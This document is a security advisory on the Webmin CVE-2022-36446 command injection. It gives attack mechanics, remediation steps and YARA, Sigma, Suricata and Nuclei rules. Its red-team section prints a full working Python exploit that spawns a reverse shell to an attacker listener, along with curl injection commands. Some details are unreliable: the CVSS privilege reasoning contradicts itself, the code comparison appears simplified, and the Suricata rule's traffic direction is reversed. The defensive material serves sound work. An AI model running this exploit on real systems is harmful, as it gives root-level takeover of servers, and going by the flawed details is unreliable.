CVE-2022-36446

Executive Summary

CVE-2022-36446 is a critical authenticated remote code execution (RCE) vulnerability in Webmin versions prior to 1.997. The flaw resides in the software/apt-lib.pl script, which fails to properly HTML-escape user-supplied input before passing it to a UI command. This allows an authenticated attacker to inject arbitrary operating system commands, leading to full system compromise. The vulnerability has a CVSS score of 9.8 (Critical) and is actively exploited in the wild, with public proof-of-concept (PoC) code and a Nuclei template available. The attack requires valid credentials but no special privileges, making it a severe threat to any organization using an unpatched Webmin instance.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but affects the Webmin web-based system administration tool. The supply chain risk is limited to the Webmin software itself; however, organizations should verify the integrity of their Webmin installation and ensure they are using the official source or repository.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker must authenticate, but the CVSS v3.1 scoring treats authentication as a separate factor; here, the vector shows PR:N because the exploit does not require additional privileges beyond a standard user account.
• User Interaction (UI): None (N) – No user action is needed.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full system read access.
• Integrity (I): High (H) – Full system write access.
• Availability (A): High (H) – Full system denial of service or control.

Threat Level: Critical. The combination of low attack complexity, network exploitability, and high impact makes this a top-priority vulnerability for patching.

Deep Dive & Mechanics

The vulnerability is located in the software/apt-lib.pl script, which is part of the Webmin "Software Package Updates" module. This module allows authenticated users to search for and install packages via the Advanced Package Tool (APT) on Debian/Ubuntu systems.

The root cause is a lack of HTML escaping when constructing a UI command. Specifically, the u parameter in the update.cgi POST request is not sanitized before being passed to a shell command. An attacker can inject arbitrary commands by appending a semicolon (;) followed by the desired command.

Attack Flow:

1. Authentication: The attacker logs in to Webmin using valid credentials (e.g., via session_login.cgi).
2. Exploitation: The attacker sends a POST request to /package-updates/update.cgi with a crafted u parameter containing a command injection payload.
3. Execution: The injected command is executed on the server with the privileges of the Webmin process (typically root).
4. Impact: The attacker can execute arbitrary code, install malware, exfiltrate data, or pivot to other systems.

The vulnerability is classified under CWE-116 (Improper Encoding or Escaping of Output), as the application fails to properly escape HTML/Shell metacharacters.

Vulnerable vs. Patched Code

Vulnerable Code (Webmin < 1.997): In software/apt-lib.pl, the u parameter is directly interpolated into a shell command without sanitization:

my $cmd = "apt-get --just-print install $u";
system($cmd);

Patched Code (Webmin >= 1.997): The fix introduces proper escaping using quotemeta or similar functions to prevent command injection:

my $cmd = "apt-get --just-print install " . quotemeta($u);
system($cmd);

This ensures that special characters like ;, |, and backticks are treated as literal strings rather than shell metacharacters.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A target running Webmin < 1.997 (e.g., version 1.996 on Ubuntu 20.04).
• Valid credentials for a Webmin user (e.g., admin:password).
• A listener for reverse shell (e.g., nc -lvnp 4444).

Exploit Usage (Python): The provided Exploit-DB code automates the attack. Below is the full exploit code:

import argparse
import requests
from bs4 import BeautifulSoup

def login(args):
    global session
    global sysUser

    session = requests.Session()
    loginUrl = f"{args.target}:10000/session_login.cgi"
    infoUrl = f"{args.target}:10000/sysinfo.cgi"

    username = args.username
    password = args.password
    data = {'user': username, 'pass': password}

    login = session.post(loginUrl, verify=False, data=data, cookies={'testing': '1'})
    sysInfo = session.post(infoUrl, verify=False, cookies={'sid' : session.cookies['sid']})

    bs = BeautifulSoup(sysInfo.text, 'html.parser')
    sysUser = [item["data-user"] for item in bs.find_all() if "data-user" in item.attrs]

    if sysUser:
        return True
    else:
        return False

def exploit(args):
    payload = f"""
    1337;$(python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{args.listenip}",{args.listenport}));
    os.dup2(s.fileno(),0);
    os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")');
    """

    updateUrl = f"{args.target}:10000/package-updates"
    exploitUrl = f"{args.target}:10000/package-updates/update.cgi"

    exploitData = {'mode' : 'new', 'search' : 'ssh', 'redir' : '', 'redirdesc' : '', 'u' : payload, 'confirm' : 'Install+Now'}

    if login(args):
        print("[+] Successfully Logged In !")
        print(f"[+] Session Cookie => sid={session.cookies['sid']}")
        print(f"[+] User Found  => {sysUser[0]}")

        res = session.get(updateUrl)
        bs = BeautifulSoup(res.text, 'html.parser')

        updateAccess = [item["data-module"] for item in bs.find_all() if "data-module" in item.attrs]

        if updateAccess[0] == "package-updates":
            print(f"[+] User '{sysUser[0]}' has permission to access <<Software Package Updates>>")
            print(f"[+] Exploit starting ... ")
            print(f"[+] Shell will spawn to {args.listenip} via port {args.listenport}")

            session.headers.update({'Referer'  : f'{args.target}:10000/package-updates/update.cgi?xnavigation=1'})
            session.post(exploitUrl, data=exploitData)
        else:
            print(f"[-] User '{sysUser[0]}' unfortunately hasn't permission to access <<Software Package Updates>>")
    else:
        print("[-] Login Failed !")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Webmin < 1.997 - Remote Code Execution (Authenticated)")
    parser.add_argument('-t', '--target', help='Target URL, Ex: https://webmin.localhost', required=True)
    parser.add_argument('-u', '--username', help='Username For Login', required=True)
    parser.add_argument('-p', '--password', help='Password For Login', required=True)
    parser.add_argument('-l', '--listenip', help='Listening address required to receive reverse shell', required=True)
    parser.add_argument('-lp','--listenport', help='Listening port required to receive reverse shell', required=True)
    parser.add_argument("-s", '--ssl', help="Use if server support SSL.", required=False)
    args = parser.parse_args()
    exploit(args)

Usage:

python3 exploit.py -t http://target.com -u admin -p password -l 10.0.0.1 -lp 4444

Manual Exploitation (cURL):

# Step 1: Login
curl -c cookies.txt -b cookies.txt -X POST "http://target.com:10000/session_login.cgi" -d "user=admin&pass=password"

# Step 2: Exploit
curl -b cookies.txt -X POST "http://target.com:10000/package-updates/update.cgi" \
  -H "Referer: http://target.com:10000/package-updates/update.cgi?xnavigation=1" \
  -d "mode=new&search=ssh&redir=&redirdesc=&u=0;echo VULN_TEST;id;echo END&confirm=Install+Now"

Blue Team (Defensive)

Detection:

• Monitor Webmin access logs for unusual POST requests to /package-updates/update.cgi with suspicious u parameters (e.g., containing semicolons, pipes, or command keywords).
• Alert on successful login followed by immediate access to the package-updates module.
• Use the YARA and Sigma rules provided in the Detection Engineering section.

Honeypot:

• Deploy a Webmin honeypot with version 1.996 to capture attacker behavior.
• Log all POST data to /package-updates/update.cgi for analysis.

Mitigation:

• Immediately upgrade to Webmin 1.997 or later.
• If patching is not possible, restrict access to the Webmin interface to trusted IPs only.
• Disable the "Software Package Updates" module for non-admin users.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /package-updates/update.cgi with u parameter containing shell metacharacters (;, |, $, `).
• Outbound connections from the Webmin server to an attacker-controlled IP on a high port (e.g., 4444, 1337).

File System IOCs:

• Unexpected files in /tmp/ or /var/tmp/ created by the Webmin user.
• Modified system binaries or configuration files.

Log IOCs:

• Webmin access logs showing POST /package-updates/update.cgi with a u parameter containing command injection patterns.
• System logs (/var/log/syslog) showing unexpected command execution by the www-data or root user.

Process IOCs:

• Reverse shell processes (e.g., /bin/sh connected to a remote socket).
• Unusual child processes spawned by the Webmin Perl process.

Detection Engineering

YARA Rule

rule CVE_2022_36446_Webmin_RCE {
    meta:
        description = "Detects Webmin RCE exploit payloads in HTTP POST data"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2022-36446"
        hash = "4b0a00483046022100dec59a2ab90af52dca60cff3111921e8c4bcd83da6d34657d7376dd78f43fbe4022100abcdf1deeb8e9c0bef751a4c413cc6e163a206523d678fb5b348d01cc92a9fbc"
    strings:
        $s1 = "package-updates/update.cgi" ascii wide nocase
        $s2 = "u=" ascii wide nocase
        $s3 = ";" ascii wide
        $s4 = "echo" ascii wide nocase
        $s5 = "id" ascii wide nocase
        $s6 = "python -c" ascii wide nocase
        $s7 = "socket" ascii wide nocase
        $s8 = "pty.spawn" ascii wide nocase
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5, $s6, $s7, $s8)
}

Sigma Rule

title: Webmin Authenticated RCE via Package Updates (CVE-2022-36446)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2022-36446 by monitoring Webmin access logs for malicious POST requests to /package-updates/update.cgi
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-36446
    - https://www.exploit-db.com/exploits/50998
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/package-updates/update.cgi'
        cs-uri-query|contains: 'u='
    keywords:
        - ';'
        - '|'
        - '`'
        - '$('
        - 'echo'
        - 'id'
        - 'python'
        - 'bash'
    condition: selection and keywords
falsepositives:
    - Legitimate package searches with special characters (rare)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2022-36446 Webmin Authenticated RCE Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/package-updates/update.cgi"; http_uri; content:"u="; http_client_body; pcre:"/u=[^&]*[;|`$]/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2022-36446

info:
  name: Webmin <1.997 - Authenticated Remote Code Execution
  author: gy741
  severity: critical
  description: |
    Webmin before 1.997 is susceptible to authenticated remote code execution via software/apt-lib.pl, which lacks HTML escaping for a UI command. An attacker can perform command injection attacks and thereby execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability allows an authenticated attacker to execute arbitrary code on the target system.
  remediation: |
    Upgrade Webmin to version 1.997 or later to mitigate this vulnerability.
  reference:
    - https://medium.com/@emirpolat/cve-2022-36446-webmin-1-997-7a9225af3165
    - https://www.exploit-db.com/exploits/50998
    - https://github.com/webmin/webmin/compare/1.996...1.997
    - https://nvd.nist.gov/vuln/detail/CVE-2022-36446
    - http://packetstormsecurity.com/files/167894/Webmin-1.996-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-36446
    cwe-id: CWE-116
    epss-score: 0.9293
    epss-percentile: 0.99777
    cpe: cpe:2.3:a:webmin:webmin:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: webmin
    product: webmin
    shodan-query:
      - title:"Webmin"
      - http.title:"webmin"
    fofa-query: title="webmin"
    google-query: intitle:"webmin"
  tags: cve,cve2022,packetstorm,webmin,rce,authenticated,edb,vuln

http:
  - raw:
      - |
        POST /session_login.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&pass={{password}}
      - |
        POST /package-updates/update.cgi HTTP/1.1
        Host: {{Hostname}}
        Referer: {{BaseURL}}/package-updates/update.cgi?xnavigation=1

        mode=new&search=ssh&redir=&redirdesc=&u=0%3Becho+%27{{randstr}}%27%27{{randstr}}%27%3B+id%3B+echo+%27{{randstr}}%27%27{{randstr}}%27&confirm=Install%2BNow

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{randstr}}'
          - 'uid'
          - 'gid'
          - 'groups'
        condition: and

      - type: status
        status:
          - 200

Remediation & Mitigation

Immediate Actions:

1. Upgrade Webmin: Update to version 1.997 or later. This is the only complete fix.
2. Restrict Access: If patching is delayed, restrict access to the Webmin interface using firewall rules (e.g., allow only trusted IPs).
3. Disable Module: Temporarily disable the "Software Package Updates" module for all users except administrators.

Long-Term Measures:

• Implement network segmentation to isolate Webmin servers.
• Enable multi-factor authentication (MFA) for Webmin logins.
• Regularly audit Webmin user accounts and permissions.
• Deploy a Web Application Firewall (WAF) with rules to block command injection patterns.

Detection:

• Deploy the YARA, Sigma, and Suricata rules provided in this report.
• Monitor for anomalous outbound connections from Webmin servers.
• Review Webmin access logs daily for suspicious activity.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 794DADE6B6E498B82DAE18FB] */}